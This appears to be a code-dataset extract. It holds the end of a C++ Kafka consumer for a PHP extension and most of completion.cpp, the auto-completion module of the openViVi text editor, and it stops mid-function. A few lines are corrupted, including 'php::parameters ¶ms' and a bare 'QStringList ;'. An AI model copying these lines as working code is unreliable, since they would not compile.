] | 17
|
2017-05-04T18:48:39.000Z
|
2021-09-11T07:04:55.000Z
|
#include "../coroutine.h"
#include "../time/time.h"
#include "consumer.h"
#include "_consumer.h"
#include "kafka.h"
#include "message.h"
#include "../../coroutine_queue.h"
#include "../log/logger.h"
namespace flame::kafka {
void consumer::declare(php::extension_entry& ext) {
php::class_entry<consumer> class_consumer("flame\\kafka\\consumer");
class_consumer
.method<&consumer::__construct>("__construct", {}, php::PRIVATE)
.method<&consumer::run>("run", {
{"callable", php::TYPE::CALLABLE},
})
.method<&consumer::commit>("commit", {
{"message", "flame\\kafka\\message"}
})
.method<&consumer::close>("close");
ext.add(std::move(class_consumer));
}
php::value consumer::__construct(php::parameters& params) {
// close_ = false;
return nullptr;
}
php::value consumer::run(php::parameters& params) {
cb_ = params[0];
coroutine_handler ch_run {coroutine::current};
coroutine_queue<rd_kafka_message_t*> q;
// 启动若干协程, 然后进行"并行"消费
int count = cc_;
for (int i = 0; i < count; ++i) {
// 启动协程开始消费
coroutine::start(php::value([this, &ch_run, &q, &count](php::parameters ¶ms) -> php::value {
coroutine_handler ch {coroutine::current};
while(true) {
try {
// consume 本身可能出现异常，不应导致进程停止
std::optional<rd_kafka_message_t*> m = q.pop(ch);
if (m) {
php::object obj(php::class_entry<message>::entry());
message* ptr = static_cast<message*>(php::native(obj));
ptr->build_ex(m.value()); // msg 交由 message 对象管理
cb_.call({obj});
}
else break;
} catch(const php::exception& ex) {
// 调用用户异常回调
gcontroller->event("exception", {ex});
// 记录错误信息
php::object obj = ex;
log::logger_->stream() << "[" << time::iso() << "] (ERROR) Uncaught exception in Kafka consumer: " << obj.call("__toString") << std::endl;
}
}
// 最后一个消费协程停止后，回复 run() 阻塞的协程
if (--count == 0) ch_run.resume(); // (B) -> (C)
return nullptr;
}));
}
rd_kafka_resp_err_t error = RD_KAFKA_RESP_ERR_NO_ERROR;
// 启动轻量的 C++ 协程进行消费
::coroutine::start(gcontroller->context_x.get_executor(), [this, &error, &q] (::coroutine_handler ch) {
boost::asio::steady_timer tm { gcontroller->context_x };
while(!close_) {
error = cs_->consume(q, ch);
switch(error) {
case RD_KAFKA_RESP_ERR__PARTITION_EOF: // 消费到结尾后，适当等待
error = RD_KAFKA_RESP_ERR_NO_ERROR;
tm.expires_from_now(std::chrono::milliseconds(300));
tm.async_wait(ch);
break;
case RD_KAFKA_RESP_ERR__TRANSPORT: // 连接异常（貌似可恢复 ...）
error = RD_KAFKA_RESP_ERR_NO_ERROR;
tm.expires_from_now(std::chrono::milliseconds(1000));
tm.async_wait(ch);
break;
case RD_KAFKA_RESP_ERR_NO_ERROR: // 无错误
break;
default:
close_ = true;
}
}
cs_->close();
q.close(); // (A) -> (B)
});
ch_run.suspend(); // (C)
if(error != RD_KAFKA_RESP_ERR_NO_ERROR) throw php::exception(
zend_ce_exception,
(boost::format("Failed to commit Kafka message: (%d) %s")
% error % rd_kafka_err2str(error)).str(), error);
return nullptr;
}
php::value consumer::commit(php::parameters& params) {
php::object obj = params[0];
coroutine_handler ch {coroutine::current};
cs_->commit(obj, ch);
return nullptr;
}
php::value consumer::close(php::parameters& params) {
close_ = true;
return nullptr;
}
} // namespace
| 39.672566
| 163
| 0.47669
|
terrywh
|
4df7c2c8de3b31ff702cfe34df9443b082e3c34c
| 27,991
|
cpp
|
C++
|
vivi/vivi64/completion.cpp
|
vivisuke/openViVi
|
d3e57727393bfc48625945f09ca743e81bf14817
|
[
"MIT"
] | 54
|
2020-02-15T23:17:25.000Z
|
2021-11-14T17:13:22.000Z
|
vivi/vivi64/completion.cpp
|
vivisuke/openViVi
|
d3e57727393bfc48625945f09ca743e81bf14817
|
[
"MIT"
] | 11
|
2020-06-01T08:04:40.000Z
|
2020-11-22T02:18:41.000Z
|
vivi/vivi64/completion.cpp
|
vivisuke/openViVi
|
d3e57727393bfc48625945f09ca743e81bf14817
|
[
"MIT"
] | 1
|
2020-06-01T07:51:47.000Z
|
2020-06-01T07:51:47.000Z
|
//----------------------------------------------------------------------
//
// File: "completion.cpp"
// Created: 01-10-2013
// Author: 津田伸秀
// Description:
//
//----------------------------------------------------------------------
#include <QtGui>
#include <QMessageBox>
#include <QVBoxLayout>
#include "EditView.h"
#include "Document.h"
#include "mainwindow.h"
#include "typeSettings.h"
#include "globalSettings.h"
#include "charEncoding.h"
#include "TextCursor.h"
#include "tokenizer.h"
#include "CompletionWidget.h"
#include "AutoCompletionDlg.h"
#include "ViEngine.h"
#include "../buffer/Buffer.h"
#include "../buffer/bufferUtl.h"
#include "../buffer/sssearch.h"
QString getLastToken(TypeSettings *typeSettings, const Buffer &buffer, pos_t pos0, pos_t last, pos_t &);
void setupCandidates(QStringList &lst, const QString &key, const QString &type);
inline bool isSpaceChar(wchar_t ch)
{
return ch == ' ' || ch == '\t';
}
inline bool isSpaceOrNewLineChar(wchar_t ch)
{
return ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n';
}
inline bool isLetterOrNumberOrUnderbar(const QChar &ch)
{
return ch.unicode() < 0x100 && (ch.isLetterOrNumber() || ch == QChar('_'));
}
inline bool isLetterOrNumberOrUnderbarOrMinus(const QChar &ch)
{
return ch.unicode() < 0x100 && (ch.isLetterOrNumber() || ch == QChar('_') || ch == QChar('-'));
}
inline bool isLetterOrUnderbar(const QChar &ch)
{
return ch.unicode() < 0x100 && (ch.isLetter() || ch == QChar('_'));
}
inline bool isDigit(wchar_t ch)
{
return ch < 0x100 && isdigit(ch);
}
void EditView::setupKeywordsCandidates(QStringList &lst, const QString &text, const QList<QString> &kwList)
{
for(int i = 0; i < kwList.size(); ++i) {
if( text.isEmpty() || kwList[i].startsWith(text) ) {
int ix = kwList[i].indexOf('\t');
if( ix < 0 )
lst += kwList[i];
else
lst += kwList[i].left(ix); // Tab 以降は無視;
}
}
}
bool EditView::setupKeywordsCandidates(QStringList &lst, const QString &text)
{
TypeSettings *ts = typeSettings();
int ln = positionToLine(m_textCursor->position());
uint flags = buffer()->lineFlags(ln);
if( (flags & Buffer::LINEFLAG_IN_SCRIPT) != 0 )
ts = mainWindow()->typeSettingsForType("JS");
else if( (flags & Buffer::LINEFLAG_IN_PHP) != 0 )
ts = mainWindow()->typeSettingsForType("PHP");
setupKeywordsCandidates(lst, text, ts->keywordList1());
setupKeywordsCandidates(lst, text, ts->keywordList2());
if( lst.isEmpty() ) return false;
lst.sort();
return true;
}
// return: 行頭空白類を削除するかどうか
bool EditView::setupCompletionCandidatesFollowingSpaces(QStringList &lst)
{
if( typeSettings()->name() == "CPP" ) {
lst << "public:" << "protected:" << "private:"
<< "public slots:" << "protected slots:" << "private slots:"
<< "signals:";
return true;
} else if( typeSettings()->name() == "HTML" ) {
// undone: li 補完すべきかどうかのチェック
lst << "<li></li>";
}
return false;
}
bool loadFile(Buffer &buffer, const QString &fileName)
{
QString errorString;
QTextCodec *codec = 0;
int bomLength;
byte newLineCode;
if( !::getTextCodec(fileName, errorString, codec, bomLength, newLineCode) ) {
QMessageBox::warning(0, "SakuSakuEditor",
QString("Cannot read file %1:\n%2.")
.arg(fileName)
.arg(errorString));
return false;
}
QFile file(fileName);
if( !file.open(QFile::ReadOnly /*| QFile::Text*/) ) {
errorString = file.errorString();
return false;
}
if( bomLength != 0 )
file.seek(bomLength);
buffer.init();
QByteArray ba;
int i = 0;
while( !file.atEnd() ) {
ba = file.read(1024*1024); // 最大IM
QString buf = codec->toUnicode(ba);
if( !buffer.basicInsertText(buffer.size(), (wchar_t *)buf.data(), buf.size()) ) {
buffer.init();
return false;
}
++i;
}
return true;
}
void EditView::setupCompletionCandidates(const QString &fileName, SSSearch *sss, QStringList &lst, const QString &text)
{
Buffer buffer;
if( !QFileInfo(fileName).exists() ) return;
if( !loadFile(buffer, fileName) ) return;
pos_t pos = 0;
QStringList ;
while( (pos = sss->strstr(buffer, pos)) >= 0 ) {
if( !isLetterOrNumberOrUnderbar(buffer[pos - 1]) ) { // 単語直後の場合
QString t(text);
pos += text.length();
while( pos < buffer.size() && isLetterOrNumberOrUnderbar(QChar(buffer[pos])) )
t += QChar(buffer[pos++]);
// カーソル位置より前の場合
int k = lst.indexOf(t);
if( k >= 0 )
lst.removeAt(k); // 重複はカーソルに近い方優先
lst.push_back(t);
} else
pos += text.length();
}
}
bool EditView::checkFileNameCompletion(QStringList &lst,
QString &text,
QString &postfix, // 継続文字列
pos_t &first) // 置換開始位置？
{
//qDebug() << "checkFileNameCompletion()";
pos_t pos = m_textCursor->position();
int ln = document()->positionToLine(pos);
pos_t ls = lineStartPosition(ln);
//qDebug() << "ls = " << ls << ", pos = " << pos;
Tokenizer tkn(*buffer(), ls, pos);
//qDebug() << tkn.tokenText();
if( tkn.tokenText() != "#" )
return false;
if( tkn.nextTokenText() != "include" ) {
//qDebug() << tkn.tokenText();
return false;
}
//if( tkn.tokenText() != "#" || tkn.nextTokenText() != "include" )
// return false;
//qDebug() << "#include";
QChar sep = tkn.skipSpace();
if( (sep != '\"' && sep != '<') || tkn.nextPosition() >= pos )
return false;
QChar sep2 = sep != '<' ? sep : '>';
//qDebug() << "sep2 = " << sep2;
postfix = sep2;
//if( tkn.nextPosition() != pos - text.size() - 1 )
// return false;
int begpos = tkn.nextPosition() + 1;
QString pat;
for(int i = tkn.nextPosition() + 1; i < pos; ++i) {
if( charAt(i) == sep2 ) return false;
pat += QChar(charAt(i));
}
//text = pat;
int ix = pat.lastIndexOf('/');
if( ix >= 0 ) {
first = begpos + ix + 1; // 置換するのは、最後の / の次から
text = pat.mid(ix+1);
} else {
first = begpos;
text = pat;
}
bool rc;
//qDebug() << "sep = " << sep;
if( sep == '<' ) { // ライブラリ補完
rc = clibralyCompletion(lst, pat, first);
} else
rc = fileNameCompletion(lst, pat, first);
//if( rc )
// text = pat;
return rc;
}
bool EditView::fileNameCompletion(QStringList &lst, QString &pat, pos_t &first)
{
//QString dirPath;
QDir dir;
if( fullPathName().isEmpty() ) {
dir = QDir::current();
} else {
QDir dir(fullPathName());
dir.cdUp();
}
qDebug() << dir.absolutePath();
while( pat.startsWith("../") || pat.startsWith("..\\") ) {
pat = pat.mid(3);
dir.cdUp();
}
int ix = pat.lastIndexOf('/');
if( ix >= 0 ) {
dir = QDir(dir.absolutePath() + "/" + pat.left(ix));
pat = pat.mid(ix+1);
//first += ix + 1;
}
QStringList elst = dir.entryList(QDir::Files | QDir::NoDotAndDotDot, QDir::Name);
foreach(const QString fileName, elst) {
if( pat.isEmpty() || fileName.startsWith(pat, Qt::CaseInsensitive) )
lst += fileName;
}
elst = dir.entryList(QDir::Dirs | QDir::NoDotAndDotDot, QDir::Name);
foreach(const QString fileName, elst) {
if( pat.isEmpty() || fileName.startsWith(pat, Qt::CaseInsensitive) )
lst += fileName + "/"; // ディレクトリは / を付加
}
return !lst.isEmpty();
//if( !lst.isEmpty() ) {
// return true;
//} else
// return false;
}
// src=" 補完
bool EditView::checkSrcFileNameCompletion(QStringList &lst,
QString &text,
QString &postfix, // 継続文字列
pos_t &first) // 置換開始位置？
{
pos_t pos = m_textCursor->position();
int ln = document()->positionToLine(pos);
pos_t ls = lineStartPosition(ln);
Tokenizer tkn(*buffer(), ls, pos);
QString token1, token2, token3;
pos_t lastPos;
while( tkn.tokenType() != Tokenizer::END_OF_FILE
&& tkn.tokenPosition() < pos )
{
lastPos = tkn.tokenPosition();
token1 = token2;
token2 = token3;
token3 = tkn.tokenText();
//qDebug() << tkn.tokenText();
tkn.nextToken();
}
if( token1.compare("src", Qt::CaseInsensitive) != 0
|| token2 != "="
|| token3.isEmpty()
|| token3[0] != '\"' )
{
return false;
}
first = lastPos + 1;
postfix = "\"";
QString pat= token3.mid(1, pos - first);
//qDebug() << pat;
return fileNameCompletion(lst, pat, first);
}
void EditView::setupCloseTags(QStringList &lst)
{
//lst << "</body>" << "</html>";
pos_t pos = m_textCursor->position();
checkEndTagCompletion(lst, pos);
}
// </endtag 補完
bool EditView::checkEndTagCompletion(QStringList &lst,
pos_t &first) // in:補完開始位置、out:置換開始位置
{
if( isLetterOrUnderbar(charAt(first)) || charAt(first-1) != '<' )
return false;
Tokenizer tkn(*buffer(), 0, first);
while( tkn.tokenType() != Tokenizer::END_OF_FILE ) {
const QString text = tkn.tokenText();
if( text == "<" && isLetterOrUnderbar(charAt(tkn.tokenPosition() + 1)) ) {
tkn.nextToken();
QString tagText = "</" + tkn.tokenText() + ">";
int ix = lst.lastIndexOf(tagText);
if( ix >= 0 ) {
while( lst.size() > ix ) lst.pop_back();
}
lst.push_back(tagText);
} else if( text == "<" && charAt(tkn.tokenPosition() + 1) == '/'
&& isLetterOrUnderbar(charAt(tkn.tokenPosition() + 2))
&& !lst.isEmpty() )
{
//qDebug() << "end tag";
tkn.nextToken();
tkn.nextToken();
QString tagText = "</" + tkn.tokenText() + ">";
if( lst.last() == tagText )
lst.pop_back();
} else if( tkn.tokenType() == Tokenizer::STRING && text[0] != text[text.size()-1] ) {
qDebug() << "not closed string.";
// 文字列が閉じていない場合
Tokenizer tkn2(*buffer(), tkn.tokenPosition()+1, tkn.tokenPosition() + text.size());
while( tkn2.tokenType() != Tokenizer::END_OF_FILE ) {
if( tkn2.tokenText() == "<" && isLetterOrUnderbar(charAt(tkn2.tokenPosition() + 1)) ) {
tkn2.nextToken();
QString tagText = "</" + tkn2.tokenText() + ">";
int ix = lst.lastIndexOf(tagText);
if( ix >= 0 ) {
while( lst.size() > ix ) lst.pop_back();
}
lst.push_back(tagText);
}
tkn2.nextToken();
}
}
tkn.nextToken();
}
return !lst.isEmpty();
}
// } 補完
bool EditView::checkEndBraceCompletion(int ln)
{
if( m_textCursor->hasSelection() )
return false;
pos_t pos = m_textCursor->position();
if( buffer()->charAt(pos - 1) != '{' )
return false;
bool im = isModified();
QString it = indentText(ln);
QString text = newLineText() + it + "}";
m_textCursor->insertText(text);
m_textCursor->setPosition(pos);
m_textCursor->insertText(newLineText() + it + "\t");
if( !im )
emit modifiedChanged();
update();
return false;
}
const char *g_libnames[] = {
"algorithm", "array", "assert.h", "atomic", "bitset",
"cassert", "cctype", "cerrno", "cfenv", "cfloat",
"chrono", "cinttypes", "ciso646", "climits", "clocale",
"cmath", "codecvt", "complex", "condition_variable", "csetjmp",
"csignal", "cstdarg", "cstdbool", "cstddef", "cstdint",
"cstdio", "cstdlib", "cstring", "ctgmath", "ctime",
"ctype.h", "cuchar", "cwchar", "cwctype", "deque",
"errno.h", "exception", "fenv.h", "float.h", "forward_list",
"fstream", "functional", "future", "initializer_list", "inttypes.h",
"iomanip", "ios", "iosfwd", "iostream", "iso646.h",
"istream", "iterator", "limits", "limits.h", "list",
"locale", "locale.h", "map", "math.h", "memory",
"mutex", "new", "numeric", "ostream", "queue",
"random", "ratio", "regex", "set", "setjmp.h",
"signal.h", "sstream", "stack", "stdarg.h", "stdbool.h",
"stddef.h", "stdexcept", "stdint.h", "stdio.h", "stdlib.h",
"streambuf", "string", "string.h", "system_error", "tgmath.h",
"thread", "time.h", "tuple", "type_traits", "typeindex",
"typeinfo", "uchar.h", "unordered_map", "unordered_set", "utility",
"valarray", "vector", "wchar.h", "wctype.h",
0
};
void setupLibNames(QStringList &lst /*, QString pat*/)
{
lst.clear();
for(cchar **pp = &g_libnames[0]; *pp != 0; ++pp) {
QString s(*pp);
//if( pat.isEmpty() || s.startsWith(pat) )
lst += "<" + s + ">";
}
}
bool EditView::clibralyCompletion(QStringList &lst, const QString &pat, pos_t &first)
{
//qDebug() << "clibralyCompletion()";
//first = 0;
for(cchar **pp = &g_libnames[0]; *pp != 0; ++pp) {
QString s(*pp);
if( pat.isEmpty() || s.startsWith(pat) )
lst += s;
}
return !lst.isEmpty();
}
int EditView::setupCompletionCandidates(QStringList &lst, const QString &text,
pos_t first) // 参照単語先頭位置
{
//lst.clear();
if( text.isEmpty() ) return 0;
//if( checkFileNameCompletion(lst, text) )
// return;
std::unique_ptr<SSSearch> sss(new SSSearch());
//SSSearch srch;
if( !sss->setup((const wchar_t *)text.data(), text.size()) ) return 0;
int maxLn = qMin(100, document()->lineCount());
for(int ln = 0; ln < maxLn; ++ln) {
Tokenizer tkn(*buffer(), lineStartPosition(ln), lineStartPosition(ln+1));
if( tkn.tokenText() == "#"
&& tkn.nextToken() == Tokenizer::IDENT && tkn.tokenText() == "include"
&& tkn.nextToken() == Tokenizer::STRING )
{
QString fileName = tkn.tokenText().mid(1, tkn.tokenText().size() - 2);
//qDebug() << fileName;
QDir path(fileName);
//if( !path.isAbsolute() ) {
//path.makeAbsolute();
fileName = path.absolutePath();
//}
qDebug() << fileName;
setupCompletionCandidates(fileName, sss.get(), lst, text);
}
}
int n = lst.size(); // カーソル以前の候補数
//const int lastPosition = first + text.length();
pos_t pos = 0;
QStringList lstAfter;
while( (pos = sss->strstr(*buffer(), pos)) >= 0 ) {
if( pos != 0 && !isLetterOrNumberOrUnderbar(charAt(pos - 1)) ) { // 単語直後の場合
pos_t pos0 = pos; // マッチ位置
QString t(text);
pos += text.length();
while( pos < bufferSize() && isLetterOrNumberOrUnderbar(QChar(charAt(pos))) )
t += QChar(charAt(pos++));
if( pos0 < first ) {
// カーソル位置より前の場合
int k = lst.indexOf(t);
if( k >= 0 )
lst.removeAt(k); // 重複はカーソルに近い方を優先
else
++n;
lst.push_back(t);
} else if( pos0 > first) {
// カーソルより後ろの場合
int k = lst.indexOf(t);
if( k < 0 ) {
k = lstAfter.indexOf(t);
if( k < 0 ) //
lstAfter.push_back(t);
} else if( lst.size() - k > lstAfter.size() && lstAfter.indexOf(t) < 0 ) {
lst.removeAt(k);
lstAfter.push_back(t);
}
}
} else
pos += text.length();
}
lst += lstAfter;
//if( n < 0 ) n = lst.size() - 1;
if( n > 0 ) --n; // カーソル以前に候補がある場合は、最後の候補
return n;
}
void EditView::completion()
{
completion(false);
}
void EditView::kwCompletion()
{
completion(true);
}
bool EditView::isSpaces(pos_t first, pos_t last) const
{
while( first < last ) {
if( !isSpaceChar(charAt(first++)) )
return false;
}
return true;
}
// 動的補完
void EditView::completion(bool keyword)
{
bool im = isModified();
m_textCursor->clearSelection();
pos_t first = m_textCursor->position();
#if 0
QRect rect = cursorRect(cur);
QPoint p(rect.x() + leftMarginWidth(), rect.bottom()); // EditView 座標系
#endif
QString text; // カーソル直前の参照されるテキスト
pos_t pos = m_textCursor->position();
int ln = document()->positionToLine(pos);
pos_t ls = lineStartPosition(ln);
int offset = pos - ls;
int row = 0;
QStringList lst; // 補完候補入れ物
QString postfix; // 継続文字列
bool blankText = false; // 補完元テキストが空
bool toRemoveSpaces = false; // 行頭空白削除
if( !keyword && (pos == ls || isSpaces(ls, pos)) ) {
// 行頭 or カーソル直前が空白類だけの場合、それ専用の処理
blankText = true;
toRemoveSpaces = setupCompletionCandidatesFollowingSpaces(lst);
} else if( !keyword && checkFileNameCompletion(lst, text, postfix, first) ) { // ファイル名補完
qDebug() << "checkFileNameCompletion() returned True";
} else if( !keyword && checkSrcFileNameCompletion(lst, text, postfix, first) ) { // src=" ファイル名補完
} else if( !keyword && checkEndBraceCompletion(ln) ) {
return;
} else if( !keyword && checkEndTagCompletion(lst, first) ) { // </endtag> 補完
--first;
row = lst.size() - 1;
///} else if( !keyword && checkCloseBraceCompletion(lst, first) ) { // } 補完
} else {
if( offset > 0 && isLetterOrNumberOrUnderbar(QChar(document()->charAt(pos - 1))) ) {
TextCursor cur(*m_textCursor);
cur.movePosition(TextCursor::BEG_WORD, TextCursor::KEEP_ANCHOR);
if( !cur.hasSelection() )
cur.movePosition(TextCursor::PREV_WORD, TextCursor::KEEP_ANCHOR);
first = cur.position();
text = cur.selectedText();
}
if( !keyword ) {
row = setupCompletionCandidates(lst, text, first); // 補完候補をセットアップ
} else {
setupKeywordsCandidates(lst, text);
}
if( lst.isEmpty() ) return; // 補完候補無し
}
CompletionWidget cmpl(this, lst, text);
cmpl.setCurrentRow(row);
if( !cmpl.count() ) {
///showMessage(tr("No matched keyword."));
return;
}
QRect rct = rect();
int vln = m_textCursor->viewLine();
int x = offsetToPx(vln, pos - viewLineStartPosition(vln));
int y = (vln - m_scrollY0 + 1) * lineHeight() - 1 /*+ 2*/;
int ht = cmpl.height();
if( y + ht > rct.height() ) {
y -= ht + lineHeight() + 2;
}
QPoint p(x + m_lineNumAreaWidth, y);
cmpl.move(mapToGlobal(p)); // EditView 座標系 → グローバル座標系変換
if( cmpl.count() == 1 ) { //
if( blankText ) {
// undone: オートインデント対応？
m_textCursor->insertText(cmpl.text());
emit textInserted(cmpl.text());
QRegExp re("<.+></.+>");
if( re.exactMatch(cmpl.text()) ) {
// <li></li> 等の場合は、その間にカーソル移勁
int ix = cmpl.text().lastIndexOf("<");
m_textCursor->movePosition(TextCursor::LEFT,
TextCursor::MOVE_ANCHOR,
cmpl.text().size() - ix);
}
//##updateScrollBarInfo();
makeCursorInView();
update();
if( !im )
emit modifiedChanged();
return;
}
//return;
}
connect(&cmpl, SIGNAL(textChanged(const QString &)),
this, SLOT(cmplTextChanged(const QString &)));
const int rc = cmpl.exec();
switch( rc ) {
case QDialog::Accepted: {
wchar_t ch = charAt(m_textCursor->position());
if( toRemoveSpaces )
m_textCursor->movePosition(TextCursor::BEG_LINE, TextCursor::KEEP_ANCHOR);
else
m_textCursor->setPosition(first, TextCursor::KEEP_ANCHOR);
QString txt = cmpl.text(); // 差分ではなく、フルテキストが返ってくる
if( txt[txt.size()-1] != '/' && (!ch || isSpaceOrNewLineChar(ch)) && !postfix.isEmpty() )
txt += postfix;
m_textCursor->insertText(txt);
emit textInserted(cmpl.text());
if( !im )
emit modifiedChanged();
break;
}
case '\b':
m_textCursor->deletePrevChar();
if( !im )
emit modifiedChanged();
break;
}
}
bool EditView::setupWord(QStringList &lst, QString &key, pos_t &first)
{
//lst.clear();
TextCursor cur(*m_textCursor);
if( typeSettings()->name() == "CSS" ) {
pos_t pos = cur.position();
pos_t ls = viewLineStartPosition(cur.viewLine());
while( pos != ls && isLetterOrNumberOrUnderbarOrMinus(charAt(pos-1)) )
--pos;
cur.setPosition(pos, TextCursor::KEEP_ANCHOR);
} else
cur.movePosition(TextCursor::BEG_WORD, TextCursor::KEEP_ANCHOR);
if( !cur.hasSelection() )
cur.movePosition(TextCursor::PREV_WORD, TextCursor::KEEP_ANCHOR);
first = cur.position();
//if( charAt(first - 1) == '\\' ) // \n のような場合は自動補完しない方がよい？
// return false;
key = cur.selectedText();
if( key.isEmpty() || !isLetterOrUnderbar(key[0]) )
return false;
setupCompletionCandidates(lst, key, first);
return !lst.isEmpty();
}
void EditView::cmplTextChanged(const QString &text)
{
//showMessage(text);
}
void EditView::showAutoCompletionDlg(const QStringList &lst, QString ft, bool selTail, bool filterCaseSensitive)
{
if( lst.isEmpty()
|| lst.size() == 1 && lst[0] == ft ) // 候補がひとつで、キー文字列と等しい場合
{
return;
}
m_autoCompletionDlg = new AutoCompletionDlg(lst, ft, selTail, this);
m_autoCompletionDlg->setFilterCaseSensitive(filterCaseSensitive);
connect(m_autoCompletionDlg, SIGNAL(keyPressed(QString)),
this, SLOT(autoCmplKeyPressed(QString)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(backSpace()),
this, SLOT(autoCmplBackSpace()),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(delPressed(bool, bool)),
this, SLOT(autoCmplDelete(bool, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(leftPressed(bool, bool)),
this, SLOT(autoCmplLeft(bool, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(rightPressed(bool, bool)),
this, SLOT(autoCmplRight(bool, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(zenCoding()),
this, SLOT(autoCmplZenCoding()),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(pasted()),
this, SLOT(autoCmplPasted()),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(decided(QString, bool)),
this, SLOT(autoCmplDecided(QString, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(rejected()),
this, SLOT(autoCmplRejected()),
Qt::QueuedConnection);
//this->setFocus();
m_autoCompletionDlg->show();
pos_t pos = m_textCursor->position();
QRect rct = rect();
int vln = m_textCursor->viewLine();
int x = offsetToPx(vln, pos - viewLineStartPosition(vln));
int y = (vln - m_scrollY0 + 1) * lineHeight() - 1 /*+ 4*/;
int ht = m_autoCompletionDlg->height();
if( y + ht > rct.height() ) {
y -= ht + lineHeight() + 2;
}
QPoint p(x + m_lineNumAreaWidth, y);
#if BASE_QWIDGET
m_autoCompletionDlg->move(p);
#else
// EditView 座標系 → グローバル座標系変換
m_autoCompletionDlg->move(mapToGlobal(p));
#endif
//m_autoCompletionDlg->setFocus();
m_autoCmplFilter = ft;
m_autoCmplTyped.clear();
}
void EditView::closeAutoCompletionDlg()
{
if( m_autoCompletionDlg == 0 )
return;
delete m_autoCompletionDlg;
m_autoCompletionDlg = 0;
}
// 単語 \s+ 直後か？
bool EditView::isAfter(pos_t &lastTokenPos, const QString &key, pos_t pos)
{
if( pos < 0 )
pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
pos_t ls = viewLineStartPosition(vln);
QString token = getLastToken(typeSettings(), *buffer(), ls, pos, lastTokenPos);
return token == key;
}
#if 0
// for \s+ 直後か？
bool EditView::isAfterFor(int &lastTokenPos)
{
pos_t pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
pos_t ls = viewLineStartPosition(vln);
QString token = getLastToken(typeSettings(), *buffer(), ls, pos, lastTokenPos);
return token == "for";
}
#endif
// #include \s* 直後か？
bool EditView::isAfterInclude()
{
pos_t pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
pos_t p = viewLineStartPosition(vln);
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
if( !buffer()->isMatched(L"#include", p) ) return false;
p += strlen("#include");
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
return p == pos;
}
// #include \s* ".*直後か？
// p は " 直後位置を返す
bool EditView::isAfterIncludeDQ(pos_t &p)
{
pos_t pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
p = viewLineStartPosition(vln);
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
if( !buffer()->isMatched(L"#include", p) ) return false;
p += strlen("#include");
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
if( charAt(p++) != '\"' ) return false;
return p <= pos;
}
void EditView::autoCmplKeyPressed(QString text)
{
if( text[0].unicode() >= 0x20 && text[0].unicode() < 0x7f || text == "\t" ) {
//if( viEngine()->isRedoRecording() )
// viEngine()->appendInsertedText(text);
m_autoCmplTyped += text;
if( !editForVar(text) )
insertText(text);
if( m_autoCompletionDlg != 0 ) {
if( !m_autoCompletionDlg->count() )
closeAutoCompletionDlg();
else if( m_autoCompletionDlg->count() == 1 ) {
QString t = getText(*buffer(), m_autoCmplPos, m_textCursor->position());
QString t2 = m_autoCompletionDlg->text();
if( t == t2 )
closeAutoCompletionDlg();
}
}
if( m_autoCompletionDlg == 0 ) {
const bool stmntCmpl = typeSettings()->boolValue(TypeSettings::STATEMENT_COMPLETION);
//const bool stmntCmpl = globSettings()->boolValue(GlobalSettings::STATEMENT_COMPLETION);
TypeSettings *ts = typeSettings();
const QString typeName = ts->name();
const bool isCPPType = typeName == "CPP"
|| typeName == "C#"
|| typeName == "HLSL"
|| typeName == "JAVA"
|| typeName == "PHP";
pos_t lastTokenPos;
pos_t pos = m_textCursor->position() - text.size();
if( stmntCmpl && text == "(" && isAfter(lastTokenPos, "for", pos)
&& isCPPType )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "for", typeName);
showAutoCompletionDlg(lst, "for (");
} else if( stmntCmpl && text == "(" && isAfter(lastTokenPos, "foreach", pos)
&& typeName == "C#" )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "foreach", typeName);
showAutoCompletionDlg(lst, "foreach (");
} else if( stmntCmpl && text == "(" && isAfter(lastTokenPos, "if", pos)
&& isCPPType )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "if", "CPP");
showAutoCompletionDlg(lst, "if (");
} else if( stmntCmpl && text == "("
&& isCPPType && isAfter(lastTokenPos, "while", pos) )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "while", "CPP");
showAutoCompletionDlg(lst, "while (");
}
}
}
}
void EditView::autoCmplLeft(bool ctrl, bool shift)
{
closeAutoCompletionDlg();
curMove(TextCursor::LEFT);
}
void EditView::autoCmplRight(bool ctrl, bool shift)
{
closeAutoCompletionDlg();
curMove(TextCursor::RIGHT);
}
void EditView::autoCmplBackSpace()
{
onBackSpace(false, false, false);
}
void EditView::autoCmplDelete(bool ctrl, bool shift)
{
onDelete(ctrl, shift, false);
}
void EditView::autoCmplZenCoding()
{
closeAutoCompletionDlg();
zenCoding();
}
void EditView::autoCmplPasted()
{
closeAutoCompletionDlg();
paste();
}
// 自動補完文字列が確定した場合の処理
// abc があった場合に a とタイプし、確定した場合：
// m_autoCmplFilter = "a", text = "abc"
// ViEngine::insertedText = "a"
// abc があった場合に abc までタイプした場合：autoClosed = true
// m_autoCmplFilter = "a", text = "abc"
// ViEngine::insertedText = "ab"
void EditView::autoCmplDecided(QString text, bool autoClosed)
{
qDebug() << "*** autoCmplDecided(text = " << text << ", autoClosed = " << autoClosed << ")";
qDebug() << "m_autoCmplFilter = " << m_autoCmplFilter << ", m_autoCmplTyped = " << m_autoCmplTyped;
qDebug() << "text = " << text << "ViEngine::insertedText = " << viEngine()->insertedText();
qDebug() << "insertedText = '" << viEngine()->insertedText() << "'";
//if( autoClosed ) {
// const int sz = viEngine()->insertedText().size();
